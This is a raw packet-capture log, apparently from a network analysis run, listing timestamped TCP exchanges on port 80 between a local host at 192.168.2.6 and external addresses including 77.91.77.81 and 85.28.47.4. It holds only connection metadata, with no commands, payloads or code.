Jul 1, 2024 07:20:52.202770948 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202778101 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202790022 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202826023 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.202851057 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202876091 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202887058 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.202949047 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.203032017 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203041077 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203051090 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203057051 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203062057 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203104019 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.203104019 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.203174114 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203177929 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203188896 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203196049 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203201056 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203322887 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.203322887 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.203336000 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203349113 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203355074 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203361034 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203366041 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203372002 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203387976 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203393936 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.203406096 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.203418970 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.203571081 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203577995 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203583002 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203583002 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.203589916 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203596115 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203633070 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.203646898 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.203820944 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203828096 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203839064 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203845024 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203850985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203856945 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203870058 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203876019 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203881025 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.203891039 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.203907967 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.203952074 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.204169035 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.204174995 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.204185963 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.204242945 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.204274893 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.204281092 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.204287052 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.204293013 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.204330921 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.204330921 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.227169991 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227197886 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227205038 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227247953 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.227286100 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.227302074 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227308035 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227319002 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227324963 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227364063 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.227438927 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227452993 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227458000 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227492094 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.227555990 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.227586985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227592945 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227603912 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227610111 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227613926 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.227642059 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.227690935 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.261610985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.261616945 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.261622906 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.261708975 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.261727095 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.261733055 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.261739016 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.261744022 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.261754036 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.261804104 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.261804104 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.263319016 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.263324022 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.263329983 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.263397932 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.263402939 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.263415098 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.263438940 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.263472080 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.263533115 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.263537884 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.263550997 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.263561010 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.263566971 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.263608932 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.263657093 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.263693094 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.263699055 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.263705015 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.263830900 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.293318987 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.293384075 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.293390036 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.293401957 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.293443918 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.293477058 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.293487072 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.293493032 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.293504953 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.293548107 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.294584036 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.294605017 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.294615030 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.294683933 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.294689894 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.294713020 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.294742107 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.294753075 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.294787884 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.294797897 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.294847012 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.294871092 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.294918060 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.294939995 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.294951916 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.294959068 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295001984 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295001984 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295027018 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295058966 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295064926 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295069933 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295109034 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295115948 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295146942 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295166016 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295198917 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295205116 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295247078 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295250893 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295257092 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295304060 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295324087 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295398951 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295408010 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295413017 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295423985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295430899 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295435905 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295485973 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295485973 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295548916 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295559883 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295572042 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295578003 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295614004 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295624018 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295646906 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295722008 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295746088 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295749903 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295766115 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295809984 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295815945 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295826912 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295826912 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295826912 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295885086 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295885086 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.295911074 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295979977 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.295985937 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296011925 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.296041965 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.296066046 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296071053 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296082973 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296087980 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296123981 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.296199083 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296204090 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296216965 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296221018 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296252012 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.296339035 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296345949 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296350956 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296355963 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296365976 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296372890 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296411037 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.296439886 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.296514034 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296561003 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.296628952 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296633959 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296648979 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296654940 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296659946 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296665907 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296677113 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296684980 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.296711922 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.296761036 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296813011 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.296857119 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296864033 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296874046 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296880007 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296885014 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296895981 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.296902895 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.296947002 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.297266960 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.297306061 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.297311068 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.297358990 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.297358990 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.297363997 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.297374964 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.297425985 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:54.960355997 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:54.960515976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:56.222745895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:56.224545002 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:59.302710056 CEST	49725	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:20:59.307498932 CEST	80	49725	77.91.77.82	192.168.2.6
Jul 1, 2024 07:20:59.307672977 CEST	49725	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:20:59.307748079 CEST	49725	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:20:59.312432051 CEST	80	49725	77.91.77.82	192.168.2.6
Jul 1, 2024 07:20:59.994096994 CEST	80	49725	77.91.77.82	192.168.2.6
Jul 1, 2024 07:20:59.994200945 CEST	49725	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:20:59.995404005 CEST	49725	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:00.000180006 CEST	80	49725	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:00.214481115 CEST	80	49725	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:00.218487978 CEST	49725	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:00.296283960 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:00.301193953 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.301367044 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:00.301507950 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:00.306210995 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.994640112 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.994666100 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.994685888 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.994699001 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.994710922 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.994782925 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:00.994826078 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.994841099 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.994852066 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.994864941 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.994877100 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.994894028 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:00.994894028 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:00.994942904 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:00.999766111 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.999803066 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.999814034 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:00.999834061 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:00.999864101 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.112885952 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.112926006 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.112941980 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.112956047 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.112957001 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.112973928 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.113006115 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.113100052 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.113218069 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.113281965 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.113338947 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.113351107 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.113363028 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.113373995 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.113394976 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.113542080 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.114114046 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.114156008 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.114167929 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.114196062 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.114242077 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.114253998 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.114284039 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.114305019 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.114990950 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.115040064 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.115066051 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.115077972 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.115108967 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.115158081 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.115170002 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.115189075 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.115318060 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.115868092 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.115917921 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.115927935 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.115979910 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.117788076 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.118017912 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.423957109 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.423976898 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.423989058 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.424010038 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.424017906 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.424022913 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.424035072 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.424046993 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.424053907 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.424068928 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.424112082 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.424151897 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.424165010 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.424210072 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.424242020 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.424253941 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.424266100 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.424304008 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.424320936 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.424364090 CEST	49726	80	192.168.2.6	77.91.77.81
